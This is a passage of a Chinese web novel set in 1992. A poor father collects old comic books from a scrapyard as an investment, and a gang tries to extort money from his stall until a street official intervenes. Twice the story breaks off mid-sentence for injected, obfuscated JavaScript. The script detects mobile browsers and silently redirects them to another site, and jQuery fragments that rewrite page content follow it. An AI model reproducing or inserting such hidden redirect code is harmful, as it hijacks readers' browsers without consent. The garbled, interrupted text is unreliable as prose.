“有事直说,你这孩子实诚,不绕弯子,不用跟我客气。”
林凡蹲在老王头旁边,脸上露出点不好意思的笑,指了指站在旁边的笑笑。
孩子正盯着废铁堆里的旧玩具车看,那是辆红色的铁皮车,轮子都掉了,她手里攥着个缝补过的小熊布偶——布偶的耳朵掉了,是林凡用黑线缝的,针脚歪歪扭扭,眼睛是两颗黑色的纽扣,掉了一颗,他用黑墨水画了一个。
“还不是这小祖宗,”他叹了口气,语气里满是无奈的宠溺,伸手摸了摸笑笑的头,
“就喜欢看画儿,新玩具买不起,超市里的图画书一本要七八块,想着找点旧小人书给她翻着玩,撕了也不心疼,还便宜。
您看,能不能从废纸堆里帮我挑点?
我按比废纸价高点的钱买,废纸5分一斤,我给1**,绝不让您吃亏。”
这个理由太合情合理了——一个穷爸爸想给孩子找点便宜的乐子,谁会怀疑?
老王头看了看笑笑,孩子正眼巴巴地望着他,小手指还抠着布偶的眼睛,黑墨水都快抠掉了。
他从兜里掏出一颗橘子味的水果糖,糖纸是透明的,能看见里面的橙色糖块,剥了糖纸递给笑笑,声音软了不少:
“嗨,多大点事!孩子喜欢就好!那边那几个麻袋,都是最近收的旧书报,有从机关单位收的,有从老百姓家里收的,你自己去翻!
挑出来的好的,按旧书价,一毛钱一斤算你!剩下的破烂我还得打包送厂呢,晚了人家不收。”
“太谢谢您了王大爷!您真是帮了我大忙了!”
林凡心里狂喜,像揣了只兔子,表面却不动声色,拉着笑笑的手走向麻袋。那些麻袋堆在一起,比笑笑还高,解开绳索时,里面的旧书报“哗啦”涌出来,霉味更重了,呛得笑笑咳嗽了两声,小脸蛋都皱起来了。
林凡赶紧把她抱到旁边一个废弃的轮胎上,轮胎是卡车轮胎,比笑笑还高,里面还沾着泥,他用袖子擦了擦,擦出一片黑印:
“笑笑乖,在这儿玩布偶,爸爸很快就好,找到画儿书就给你看。”
他蹲在麻袋前,顾不上手上沾的灰和霉斑,手指伸进书报堆里翻找。纸页大多受潮粘连,一扯就破,他只能用指尖轻轻分开,像在剥洋葱,生怕弄坏;
有的纸页上粘着黑色的小甲虫尸体,硬邦邦的,他皱着眉用指甲挑掉,指甲缝里都沾了霉点,黑乎乎的;汗滴在纸上,晕开小小的湿痕,他赶紧用袖子擦干净,怕湿痕变成霉斑,影响品相。
“爸爸,找到画儿书了吗?”
笑笑坐在轮胎上,晃着小腿,布偶放在腿上,小手指着书报堆问,声音软软的。
林凡刚想回答“快了”,指尖突然触到一本硬壳的小册子——是《铁道游击队》,封面虽然缺了右上角,像被老鼠咬过,边缘还卷了,但内页却还算完整,没有缺页。
他翻到版权页,1958年版的,上海人民美术出版社的标识印在扉页上,红色虽然褪了,但还能看清油墨的光泽。
他小心地把书放到一边,像捡起块烫手的金子,指尖都在微微发抖——这本在未来至少能卖2000块,抵他现在三个月的结余,够给笑笑买133双新凉鞋,够交6次实验小学的学费。
接着,《林海雪原》《敌后武工队》《白蛇传》……一本本连环画被他从废纸堆里“救”了出来。
有的纸页脆得像薯片,他只能托着书脊慢慢翻,生怕一用力就碎了;
有的封面没了,他就记着内页的标题和画风,比如《白蛇传》里白娘子的裙子是白色的,画得很飘逸,想着以后慢慢查证出版社和年代;
还有本《三国演义》的单册,是1956年的“桃园三结义”,虽然被老鼠咬了个洞,洞在刘备的袖子上,却还能看见里面刘备、关羽、张飞的画像——关羽的红脸用朱砂涂得鲜艳,这么多年过去都没褪色,胡须的线条画得根根分明,像真的一样。
突然,他的手指触到一本用牛皮纸包着的小册子——牛皮纸已经脆化了,一摸就掉渣,像晒干的树叶,上面还留着一行模糊的钢笔字,写着“赠给小梅1980.5.2”,蓝色的墨水已经发淡,“小梅”两个字还能看清,后面的落款被磨掉了。
他心里一动,小心地剥开牛皮纸,生怕把纸弄破,一本《西厢记》露了出来:淡蓝色的封皮上,画着古装的崔莺莺和张生,崔莺莺穿着粉色的长裙,裙摆上画着淡绿色的花纹,张生身着青色长衫,手里拿着把扇子,两人站在柳树下,柳树叶是绿色的,线条流畅优美,衣褶上的墨色还泛着光;
虽然是1979年版的,却保存得极好,纸页平整得像刚从书店买回来的,没有破损,甚至连折痕都很少,只有书脊处有点轻微的磨损,不仔细看看不出来。
“宝贝……”
林凡小声嘀咕,声音都有点发颤,指尖轻轻拂过封面,像是怕惊扰了里面的人物,指腹能感觉到纸页的光滑。
他知道,1979年的《西厢记》虽然年代不算特别久远,比1950年代的晚,但这种工笔风格的封面很少见,画家应该是个老手,而且品相这么好的,未来市场价至少能到3000块,抵他现在四个多月的收入,够买200双新凉鞋。
他把这本《西厢记》放在那摞书的最上面,用手护着,怕被风吹乱了纸页,也怕被笑笑不小心碰到。
整整一个上午,林凡都在废品
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607479|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
堆里翻找。
太阳越升越高,晒得他后背的衬衫都湿透了,衬衫是灰色的,湿了之后变成深灰色,贴在皮肤上凉丝丝的,却一点也不觉得累。
最后,他挑出了满满一纸箱的连环画,纸箱是之前装洗衣粉的,上面印着“白猫洗衣粉”的字样,估计有六七十本,纸箱都被压得变了形,提起来得用两只手,胳膊都有点酸。
过秤的时候,老王头搬来一个老式的杆秤,秤杆是木头的,上面刻着斤两的刻度,他眯着眼看了看秤砣,秤砣是铁的,上面锈迹斑斑,手里的搪瓷缸晃了晃,茶水都洒了点出来:
“连箱子一共三十二斤,算你三十斤,凑个整,三块钱。”
林凡递过三块钱,是三张1块的纸币,纸币有点皱,他抚平了才递过去,指尖触到老王头粗糙的手掌——那双手布满了老茧,是常年搬废品、扛麻袋磨出来的,掌心还有道浅疤,是被铁皮划的。
他心里却像揣着个火炉,热得发烫:三块钱,换来了未来可能价值数万的藏品,这是他这辈子最划算的一笔买卖,比任何小生意都赚。抱着纸箱往回走,箱子沉甸甸的,压得他胳膊发酸,可每走一步,心里都觉得比任何时候都踏实,比赚了一百块还开心。
回到筒子楼的家,林凡迫不及待地整理这些“宝贝”。
他找出笑笑的粉色旧手帕,上面印着小白兔图案,洗得发白,小白兔的耳朵都快看不见了,沾了点40度左右的温水——水温不能太高,怕烫坏纸页,也不能太低,怕洗不掉灰。
轻轻擦拭每本书的封面,动作轻得像在擦婴儿的脸,怕用力过猛擦坏了纸页;又翻出以前修收音机用的尖嘴小镊子,镊子上还沾着点银色的焊锡,小心地夹出书页里的虫尸和碎纸,夹的时候屏住呼吸,生怕镊子戳破纸页;
卷角的书页,他用家里的铝制铁饭盒压着,饭盒里装着半盒去年的陈米,能增加重量,压上两个小时,卷角就能平不少,比用手捋管用多了。
笑笑坐在旁边的小板凳上,拿着本《孙悟空三打白骨精》,小手指着画页上的孙悟空,眼睛亮晶晶的:“爸爸,这个猴子为什么拿着棍子呀?他要打谁呀?”
“这是孙悟空,他手里的叫金箍棒,能变大变小,他要打妖怪呢,保护好人,就像警察叔叔抓坏人一样。”
林凡笑着回答,手里的动作没停,心里却在盘算:品相最好的十几本,比如《西厢记》《鸡毛信》和1962年的《三打白骨精》,得单独用牛皮纸包起来,放进床底的木箱里。
木箱是他爷爷传下来的,上面刻着花纹,里面还垫着笑笑的旧棉袄,能防潮,避免纸页发霉;其余品相一般的,比如被虫蛀的《地道战》、缺角的《红灯记》,按题材分类放好,以后可以当作“道具”,跟收废品的小贩换更多的连环画,或者用来摸清其他渠道的情况,比如跟县医院家属院的老人换,他们可能更愿意要“能看的书”,而不是钱。
他还想到了更多可能的渠道:
走街串巷收废品的“李哑巴”,50多岁,不会说话,每天推着一辆二八大杠自行车,后座绑着两个麻袋,车把上挂着个铜铃铛,吆喝声是“啊啊”的沙哑调子,他收废品实在,不缺斤短两,上次林凡卖废纸箱,他还多给了5分钱。
要是跟他说好,让他收到连环画就留着,给比废品价高2分钱一斤,也就是7分一斤,肯定能收到不少,毕竟他走的地方多,能到各个胡同、家属院收;
还有县医院家属院的退休老人,那些以前的干部、医生家里,说不定藏着不少压箱底的小人书,有的可能用来垫桌子,有的可能堆在阳台,被灰尘盖着,给点小钱,比如一本给5**,他们肯定愿意卖,毕竟在他们眼里,这些书“没用了”;
周边乡镇的集市也不能放过,比如邻镇的清风集,每月初五、十五、二十五开集,有卖旧家具的,卖老农具的,偶尔还有摆摊卖旧书的,那些摆摊的大多是农民,不懂连环画的价值,说不定能淘到更稀有的版本,比如1950年代的《水浒传》单册。
一个围绕“小人书”的计划,在林凡心里慢慢成形。
这不再是简单的摆摊糊口,而是利用时代信息差的投资。这些沉睡在旧纸堆里的连环画,就像埋在土里的种子,现在看起来不起眼,灰头土脸的,未来却能长成参天大树,为他和笑笑遮风挡雨,让他们不用再住漏雨的筒子楼,不用再穿磨破的鞋子。
林凡看着桌上那本《西厢记》,淡蓝色的封皮在15瓦的昏黄灯泡下泛着柔和的光,崔莺莺的衣褶像真的在飘动,张生的扇子仿佛能扇出风来。
他摸了摸笑笑的头,孩子已经趴在桌上睡着了,小手里还攥着那本《三打白骨精》,书页露出一角,孙悟空的金箍棒在灯光下若隐若现,像一道小小的光。
他心里无比坚定:
这些“旧纸黄金”,会成为他给笑笑创造更好未来的基石。
它们能换一间不漏雨的砖瓦房,能让笑笑穿上崭新的凉鞋和校服。
能送她去最好的学校,甚至能让她以后上大学,比任何小生意都更可靠,更有力量。
窗外的蝉鸣还在响,筒子楼里的咳嗽声、说话声还在传。
可林凡觉得,自己的世界已经不一样了,
因为他找到了那口藏在时代褶皱里的“深井”,井里满是闪闪发光的黄金。
第十四章: 风雨欲来
营业执照用塑料相框裹着,挂在棚子中央的木梁上——
那相框还是林凡去年冬天从城南旧货市场花五块钱淘来的,是最常见的茶色硬塑料款,右下角磕掉了一块漆,露出里面的白色塑料芯。
他用当时家里仅剩的半管“两面针”牙膏补过,牙膏干了后泛着点黄,不凑到跟前仔细看,倒也瞧不出破绽。
相框里的执照纸有些发皱,边角还沾着点当时办手续时蹭到的印泥红,是上个月刚办下来的。
那是1992年,个体户的政策刚松了没两年,想办张正规执照比登天还难:林凡先是找巷尾的房东王大爷开经营场所证明,王大爷怕担责,他送了两斤苹果磨了三天嘴皮子才拿到签字;
去街道办时,第一次缺“无犯罪记录证明”,第二次少“健康证”,跑了三趟才把街道的章盖下来;
到区工商局,窗口的办事员又说他的申请表填错了格式,让他重写,最后还是托了常来买烟的李干事帮着在科长面前说情,才凑齐所有材料——
经营场所证明、身份证复印件、健康证、申请表,前后折腾了小半个月,林凡的自行车胎都被巷子里的碎石子扎破了两次。
如今执照上的红色公章,被棚子里常年不散的油烟熏得淡了些,边缘晕开一点浅灰,却依旧像块薄脆的盾牌,勉强撑着这半个月的平静——
这是林凡在这条“哑巴巷”摆摊三年来,第一次敢把“合法经营”四个字摆到明面上,之前他连秤杆都怕被城管收走,每天收摊比谁都早。
黑皮那伙人,像嗅着腐肉味的鬣狗,虽被这张红印纸暂时挡了獠牙,却始终没走远。
巷口那棵三个人才能合抱的老槐树下,总少不了他们晃悠的身影:黑皮常靠在皲裂的树干上抽“红梅”烟,一块五一包的廉价烟,烟蒂上总沾着他的口水,扔得树根下满地都是,连蚂蚁都绕着走;
留长头发的瘦高个叫“猴子”,总蹲在路边用树枝划地面,划的全是歪歪扭扭的“¥”符号,嘴里还骂骂咧咧,无非是“哪个不长眼的敢挡老子财路”;
还有个矮胖的跟班叫“胖子”,脸圆得像烧饼,总盯着来往的路人,尤其盯着拎着布包的老太太,眼神里透着不怀好意——
上个月他还偷过卖菜刘奶奶的钱包,被刘奶奶追着骂了半条街。他们不是没找过别人麻烦:
巷尾卖早点的张婶,上个月就因为没交每月五十块的“保护费”,被黑皮一脚踹翻了蒸笼,滚烫的猪肉大葱包撒在青石板路上,油星子溅到张婶的藏青色裤腿上,烫出好几个焦黑的小洞。
张婶蹲在地上捡包子时,眼泪混着汗水掉在油乎乎的地上,周围邻居要么关着门,要么远远看着,没人敢上前——
谁都怕黑皮的报复。最后张婶没敢再摆摊,收拾行李去了城郊的罐头厂打工,听说每天要站十二个小时,手都泡肿了。
现在他们盯着林凡的棚子,像在等一块腐肉变质,只要林凡稍有松懈——比如哪天收摊晚了,或者没及时“上供”,他们就会扑上来。
这天下午的天,闷得能拧出水来。铅灰色的乌云堆在天际,一层叠着一层,像浸了水的棉絮,沉得要压垮巷子里的老屋顶——
那些屋顶大多铺着青瓦,瓦缝里长着青苔,有的地方还漏雨,下雨时居民都得在屋里摆脸盆接水。
风裹着湿热的黏气,吹在脸上像糊了层薄泥,还带着巷口公共厕所的馊味和隔壁“老王饭馆”飘来的油烟味,混在一起腻得人胸口发闷。
连棚子顶的塑料布都耷拉着,边角被风吹得卷了边,没半点精神——这塑料布是去年台风“飞燕”过后换的,当时旧布被刮破了个篮球大的洞,雨水灌进棚子,泡坏了半箱洗衣粉,林凡心疼了好几天。
后来花十八块钱从农资店买了这块新的,用铁丝一圈圈固定在木架上,现在铁丝都锈了,胶带头也翘了起来,露出里面发黄的旧布,布上还能看见去年泡坏洗衣粉留下的白斑。
棚子里更甚,那台“华生”牌旧风扇摆在柜台角落,是林凡从废品站花十块钱淘的,三档风速只剩一档能用。
扇叶上积的灰厚得能画出纹路,转起来“嗡嗡”响,像只快断气的苍蝇,吹出来的风都带着股陈年老灰的味道。
灰粒飘在空中,落在玻璃柜上,被风一吹,画出几道弯弯曲曲的灰痕,正好盖在“娃哈哈AD钙奶”的商标上——
那是笑笑最喜欢的图案,画着个扎羊角辫的小姑娘举着奶瓶,现在小姑娘的笑脸被灰痕遮了一半,只剩一只圆溜溜的眼睛露在外面。
王猛扯着衣领扇风,浅灰色的毛巾搭在脖子上,湿得能拧出水——
这毛巾还是笑笑去年3岁生日时,林凡咬咬牙在百货商店买的,父女俩各一条,笑笑那条是粉色的,王猛这条是灰色的,现在王猛这条的边角已经磨出了**絮,洗得有些发白。
他额头上的汗顺着脸颊往下淌,滴在洗得发白的蓝色工装上——这工装是他在工地时穿的,左胳膊肘还缝着块补丁,是林凡用缝纫机帮他补的,线脚歪歪扭扭。
王猛是林凡原来的工厂工友,老家在乡下,之前在城东的建筑工地干苦力,上个月因为工友老张被拖欠了三个月工资,他带着五六个工友去找工头要说法,工头喊了两个混混过来,
王猛气不过,跟混混推搡时把工头的搪瓷茶杯摔了,结果第二天就被工头以“寻衅滋事”为由开除,连自己的四百块工资都没拿到。
他性子烈,像头不服输的牛,见不得人受欺负,上次黑皮来晃悠,他抄起旁边的扫帚就要冲上去,还是林凡拉住了他。
“这天儿,怕是要下暴雨,别把棚子顶给掀了。”
他嘟囔着,眼睛却没离开路口——上午到现在,只来了三个顾客:隔壁的李奶奶买了袋盐,二毛五;
修鞋的张师傅买了瓶酱油,八**;还有个放学的小孩买了块泡泡糖,一毛——流水加起来还不到十块钱。
他盼着能来个顾客,多赚点钱给笑笑买“大大”泡泡糖,笑笑昨天还跟他说
“王叔叔,我好久没吹泡泡了”;可又怕真下了雨,巷子里没人出门,今天就连进货款都赚不回来——
早上林凡去批发市场进了五十块钱的货,有洗衣粉、肥皂、还有两箱方便面,全堆在棚子后面。
林凡正蹲在柜台后清点货款,**票和硬币摊在张旧报纸上——报纸是前天的《市晚报》,头版是“***南巡讲话”的新闻,边角卷了**,边缘还沾着点酱油渍,是昨天给笑笑包猪肉白菜包时蹭上的。
报纸中缝印着“市区物价平稳”的小专栏,下面写着“鸡蛋价格稳定在三块二一斤”,可林凡昨天去城北批发市场,鸡蛋已经涨到三块五一斤了,比专栏上贵了三毛钱。
他没敢多进,只买了十个,每天早上给笑笑煮一个,自己舍不得吃,有次笑笑把蛋黄掰给他,他说
“爸爸不爱吃蛋黄,笑笑吃”,最后那个蛋黄放凉了,他偷偷拌在粥里吃了,还觉得挺香。
硬币里有不少一毛、五分的,有的边缘都磨平了,看不清年份,是这几天顾客找零剩下的,林凡数得仔细,手指沾着唾沫,一张一张捻着**票,一枚一枚数着硬币,怕数错了——
这些零钱攒起来,够给笑笑买一根奶油冰棍,五毛钱一根,笑笑每次吃都舍不得咬,舔着吃,能吃半个小时。
笑笑趴在旁边的小马扎上,没精神地玩着布偶——那布偶是林凡去年春节在庙会地摊上买的,十块钱。
是只粉色的小兔子,耳朵上还缝着白色的绒毛,现在右边的耳朵掉了,林凡用黑色的棉线缝了两针,针脚歪歪扭扭的,看起来有点滑稽。
布偶的眼睛是两颗黑色的塑料纽扣,其中一颗快掉了,林凡用502胶水粘过,现在纽扣旁边还有点白胶印。
笑笑的小脸蛋泛着点不正常的红,不是健康的苹果粉,而是透着点苍白的潮红,她时不时咳嗽两声,声音沙哑得像含了沙,每咳一下,小肩膀就跟着抖一下,连怀里的布偶都跟着晃。
“笑笑,是不是不舒服?”
林凡放下手里的硬币,伸手摸了摸女儿的额头,温温的,不算烫,才稍稍放心。可他心里还是揪着——
前几天巷里的小虎就感冒了,咳了好几天,小虎妈没带他去医院,只找赤脚医生开了点药,结果越咳越厉害,最后还是去县医院挂了三天水才好,花了两百多块。
他盘算着下次去市里进货,得捎两盒小儿感冒冲剂,就是药店李老板说的那种甜橙味的,孩子爱喝,一盒八块钱,备着总没错——
万一笑笑真病了,去医院花钱多,有冲剂能先顶一顶,也不用慌慌张张跑医院。
突然,棚子外传来一阵肆无忌惮的哄笑,混着“操”“**”之类的粗话,自行车铃铛被故意摇得“叮铃哐啷”响,像破锣在耳边敲,震得人耳膜发疼。
林凡心里“咯噔”一下,手里的五分硬币“啪”地掉在报纸上,滚到了柜台缝里——那缝隙里还卡着颗去年的糖渣,硬得像小石头。
他抬头就看见黑皮带着四个跟班,堵在棚子门口——比上次多了个留黄毛的小子,十七八岁的样子,穿件洗得发白的露脐T恤,T恤上印着褪色的“小虎队”图案,腰上挂着串钥匙,串着个啤酒瓶起子,手里攥着根钢管——
是从废弃水管上截下来的,有拇指粗,表面锈迹斑斑,在阴沉的光线下泛着冷光,钢管一端还带着毛刺,看起来锋利得能划伤人。
“林凡!滚出来!”
黑皮一脚踹在脱漆的木门框上——那门框是林凡用旧木头钉的,左边已经有点歪了,他一直没来得及修——“咚”的一声闷响,木屑溅到玻璃柜上,在“娃哈哈AD钙奶”的商标上留下道白印。
他穿件黑色的短袖,领口卷着边,露出里面发黄的秋衣,肚子上的肥肉堆在腰上,像圈游泳圈,声音像被砂纸磨过,粗哑难听,盖过远处隐隐的雷声,震得人耳朵发疼。
他嘴里还叼着根烟,烟屁股快烧到手指了,他“呸”地吐在地上,烟头滚到林凡的鞋边,烫得林凡往后缩了缩脚。
王猛“噌”地站起来,伸手就抓过旁边修棚子用的榔头——那榔头是他从工地带来的,木柄被他攥得光滑发亮,铁头还带着点铁锈,是他之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607480|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前砸钉子用的——
他的手在木柄上攥得发白,指节都陷进木头里,眼睛瞪得血红,像要冒火:“黑皮!你又来找茬!”
他就要冲出去,被林凡一把按住手腕——王猛的肌肉绷得像铁块,连血管都鼓了起来,林凡能感觉到他手心里的汗,又黏又热,还带着点榔头木柄的木屑味。
“别冲动。”
林凡的声音压得低,指尖触到王猛手心里的汗,心里也跟着发紧——他知道王猛能打,在工地时一个人能撂倒两个混混,可黑皮有四个人,还有钢管,真打起来,王猛肯定要吃亏;
而且一旦动手,不管输赢,派出所来了都得带走,到时候棚子没人看,笑笑怎么办?他不能冒这个险。
“先看看他想干什么。”
他转身把笑笑往柜台后面藏了藏,那里堆着进货的纸箱,印着“儿童袜子”的字样,纸箱很高,正好能挡住孩子的视线。
笑笑的小手紧紧攥着他的衣角,小身子微微发颤,却懂事地没哭,只把脸埋在他的腰后,小嗓子轻轻哼着:
“爸爸……”林凡摸了摸她的头,手指能感觉到女儿头发里的汗,黏黏的,还带着点洗发水的香味——
是昨天晚上他给笑笑洗的头,用的是“蜂花”洗发水,一块八毛钱一瓶。
他低声嘱咐:
“笑笑乖,数数爸爸昨天教你的糖,数到二十,爸爸就给你买草莓味的橡皮,好不好?”
笑笑点了点头,小手指着柜角的糖罐——那糖罐是个旧罐头瓶,之前装过橘子罐头,现在里面装着水果硬糖,是林凡上次进货时,批发商送的,有橘子味、苹果味,笑笑最喜欢橘子味的——
小声数着“一、二、三……”,声音里带着点发颤,每数一个数,就忍不住咳嗽一下,小肩膀跟着抖一下。
林凡深吸一口气,压下心里的慌,脸上努力堆着镇定,走出棚子:
“黑皮哥,今天怎么有空过来?烟和奶都给您备好了。”
说着,他习惯性地弯腰去柜台下摸那条“经济烟”——烟盒还没拆封,是早上刚从小卖部拿的,三块五一盒,用塑料袋裹着,怕受潮。
这烟是黑皮平时爱抽的,之前林凡每个月都得送他两条,算下来就是七块钱,占了他月利润的近十分之一;现在办了执照,本想这个月少送点,只备了一条,没想到黑皮来得这么快。
“少他妈来这套!”
黑皮一巴掌拍开林凡的手,烟盒“啪”地掉在地上,散了几根出来。
他抬起脚,黑色的靴底狠狠碾在烟上——他的靴子沾着泥,是早上在巷口的水坑里踩的,泥点溅到了林凡的蓝色裤子上——
烟丝混着泥土粘在地上,变成黑乎乎的一团,还冒着点烟味,呛得林凡想咳嗽。
“林凡,你可以啊,不声不响把照都办下来了?怎么?觉得有张破纸,就能不把哥哥我放在眼里了?”
林凡心里一沉,知道对方是借题发挥,却没想到这么蛮横。
他陪着笑,腰弯得更低了点,语气里带着点讨好——这棚子是他和笑笑唯一的依靠,要是棚子没了,他们父女俩连住的地方都没有:
“黑皮哥,您这话说的,我哪敢啊?办照就是为了合法经营,少给街道添麻烦,绝对没有别的意思。该孝敬您的,我半分都不会少,您放心。”
“合法经营?”
黑皮旁边的猴子阴阳怪气地插嘴,他留着长头发,遮住半只眼睛,嘴角撇着,眼神像条毒蛇,扫过棚子里的纸箱,停在那个装着连环画的箱子上——
箱盖没盖严,露出一点蓝色的封皮,是本《大闹天宫》。他往前凑了凑,手指戳了戳纸箱:
“我看你是想赖账吧?听说你最近不光卖杂货,还偷偷摸摸收旧书?搞什么名堂?是不是发现什么发财的门道了,想独吞?”
“旧书”两个字像根针,狠狠扎进林凡的耳朵里。
他心里警铃大作,指尖突然发凉——收连环画的事,他做得极其隐秘,除了跟王猛提过“帮省城的表舅收”,就只去过三次废品站和两家旧书店。
去废品站时,他都说是“给孩子找玩具”,废品站的老王头每次都只收他一毛钱一本,有次还送了他两本缺页的《葫芦娃》;
去西街的“老周旧书店”时,他都是趁早上七点人少的时候去,老周眼睛不好,也没多问,只说“这些旧书没人要,你要就拿去吧,给五块钱就行”。
怎么会传到黑皮耳朵里?是老王头嘴碎,跟来卖废品的邻居说了?还是去旧书店时,被黑皮的人看见了?
他立刻摆出无辜的表情,脸上带着点委屈,甚至还叹了口气——他得装得像点,不然黑皮肯定不会善罢甘休:
“几位大哥可别听风就是雨!我收那点破小人书,全是给我闺女看着玩的,她就喜欢看上面的画儿,新玩具买不起,只能找旧的。
顺便帮省城一个远房亲戚凑点研究材料——他是美术学院的老师,要研究建国后的连环画风格。
那玩意儿现在白送都没人要,纸都发黄了,有的还缺页,上次我收了本《白蛇传》,最后一页都没了,还能发财?您几位可真会开玩笑。”
第十五章: 未雨绸缪
“少装糊涂!”黑皮不耐烦地打断他,脚在地上碾了碾,溅起的泥点落在林凡的裤腿上,留下块黑印。
他往前凑了一步,离林凡只有半米远,身上的汗味、烟味,还有点劣质白酒的味道混在一起,呛得林凡想往后退:
“老子不管你是干嘛用的!从今天起,规矩改了!一个月两百块!少一个子儿,我就让你这破棚子开不下去!
你不是合法吗?
我天天找人来你这买东西,买完就说你这儿卖假货、吃坏了肚子,再让工商的人来查查你——我看你这照能护你到几时!”
两百块!
林凡的心脏像被一只脏手攥紧,连呼吸都发沉——
他脑子里立刻算开了账:棚子每月租金一百二十块,定额税五十块,进货成本差不多三百块,每天流水平均二十块,一个月净利润也就四百出头。
两百块几乎是一半的利润,够给笑笑买两箱AD钙奶(一箱十八块)、三身新衣服(一身十五块),还能剩下点交水电费(每月十块左右)。
这哪是要“管理费”,是要刮他的骨!他想起笑笑昨天还说想要个新书包,现在看来,连买书包的钱都要被黑皮榨走了。
王猛在后面听得双目喷火,攥着榔头的手都在抖,指节泛白,要不是林凡死死按住他的胳膊,他早就冲上去跟黑皮拼命了。
他想喊“凭什么”,可话到嘴边,又被林凡的眼神拦了回去——林凡的眼神里带着恳求,还有无奈,他知道林凡怕出事,怕连累笑笑,也怕这唯一的生计没了。
就在这剑拔**张的时候,“叮铃——叮铃——”
急促的自行车铃声刺破闷空气,李干事骑着那辆掉漆的二八大杠冲过来——
那自行车是他结婚时买的,现在车架上的黑漆掉了大半,露出里面的铁色,车把上的帆布包晃得厉害,里面的文件“哗啦”响,像是要掉出来。
李干事穿件灰色的中山装,领口系得严实,第一颗纽扣掉了,用别针别着,额头上全是汗,顺着脸颊往下淌,浸湿了衣领。自行车的链条有点松,骑起来“吱呀吱呀”响,像头喘不过气的老牛。
他看见围在棚子门口的人,眉头立刻皱成了疙瘩,下了车就把自行车往路边一靠,车撑都没来得及放,就吼:
“干什么呢?围在这里像什么样子!影响市容!”李干事认得黑皮这伙人——
上个月黑皮还勒索过巷口卖水果的老李,老李找他反映过,他当时找黑皮谈过,黑皮表面答应,转头又去骚扰老李。
这片区的个体户管理归他管,黑皮这么明目张胆地**,等于是打他的脸。
而且上个月街道办刚开了会,**特别强调要“保障合法经营户权益,打造文明街巷”,要是被上面知道他管的片区有人勒索个体户,不仅要扣他当月的绩效(每月五十块)。
还可能影响年底的“先进工作者”评优——他盼着评上先进,能给家里换台新电视。
黑皮见到李干事,气焰稍微收敛了点,却还是皮笑肉不笑地凑过去,烟瘾犯了似的摸了摸口袋——
他想掏烟给李干事,可摸了半天,只摸出个空烟盒,烟盒皱巴巴的,是“红梅”牌的,他又塞了回去:
“李干事,没事儿,跟林老板聊聊天,关心一下咱们街道的个体户发展,看看有没有需要帮忙的地方。”
林凡立刻抓住这个机会,抢在黑皮前面开口,声音里带着点委屈,又透着点无奈——
他得把事情说清楚,让李干事知道黑皮在勒索,也让李干事明白,黑皮这是在破坏他的工作:
“李干事,您来得正好。黑皮哥他们说,觉得我这儿生意还行,想让我每月交两百块钱的‘管理费’,说是帮我看着场子,别让人来捣乱。
我跟他们说,我有营业执照,每月都交租金和定额税,小本生意,一天才赚十几块,实在负担不起这么多,正跟他们解释呢,您就来了。”
他这话听得有技巧:既点明了黑皮勒索的本质(管理费),又强调了自己的合法性(有照、交税),还暗示了对方要求的无理(两百块是沉重负担)——
句句都往李干事的工作考核上靠,毕竟个体户合法经营、街巷无骚扰,是他的政绩。
李干事的脸瞬间拉了下来,眉头皱得能夹死苍蝇。
他走到黑皮面前,声音严厉得像冰——他最讨厌黑皮这种人,仗着人多欺负老实人,还不把街道的规定放在眼里:
“黑皮!林凡这儿是街道备案的正规经营点,受保护的!你们别在这儿胡闹!赶紧散了!再让我看见你们骚扰合法经营户,我直接找派出所的老张过来,让他跟你们好好聊聊!”
派出所三个字像盆冷水,浇得黑皮浑身一激灵。
他上次因为敲诈卖水果的老李,被老张关了三天,在拘留所里啃了三天馒头,喝了三天稀粥,馒头还是凉的,稀粥里连个米粒都少见,到现在想起来都觉得饿。
老张是这片的片警,管了五年,黑皮他们的案底能堆半抽屉——偷东西、勒索、打架,没少犯事,每次见到老张,黑皮都躲着走,怕被抓去“喝茶”。
他脸色变了几变,从青到白,又从白到红,狠狠瞪了林凡一眼,眼神像淬了毒——
他恨林凡把李干事搬出来,坏了他的好事,也恨自己没早点动手。
“行,李干事,给您面子。我们走!”
又指着林凡,咬牙切齿地说:“林凡,咱们……后会有期!”
说完,他带着几个跟班,骂骂咧咧地骑上自行车走了。
黄毛小子路过棚子时,还故意踹了一脚路边的石头——
那石头是林凡之前用来压塑料布的,有拳头大——
石头弹在棚子的木板上,发出“咚”的一声闷响,像是在放狠话,又像是不甘心。
危机暂时解除,王猛这才松开攥着榔头的手,指节都泛白了,气得呼哧呼哧像头老牛,连话都说不连贯:
“凡子!这口气我咽不下!大不了……大不了跟他们拼了!咱们不能总受他们欺负!”
“拼?拿什么拼?”
林凡脸色阴沉,声音压得低——他不是不想拼,是不能拼,他有笑笑要照顾,他要是出事了,笑笑怎么办?
“他们有闲工夫跟我们耗,今天来闹,明天来吵,我们耗得起吗?笑笑还小,要是真闹起来,她受了惊吓怎么办?万一伤着她,我怎么对得起她妈?”
王猛哑口无言,颓然地蹲在地上,双手抓着头发,指节都泛白了。他知道林凡说得对,可他就是咽不下这口气——
他想起自己在工地被工头欺负的样子,想起张婶被掀翻的蒸笼,想起笑笑害怕的眼神,心里堵得慌,像塞了团湿棉花。
棚子外的风更大了,吹得塑料布“哗啦”响,像在哭,又像在叹气,把棚子里的灰吹得到处都是。
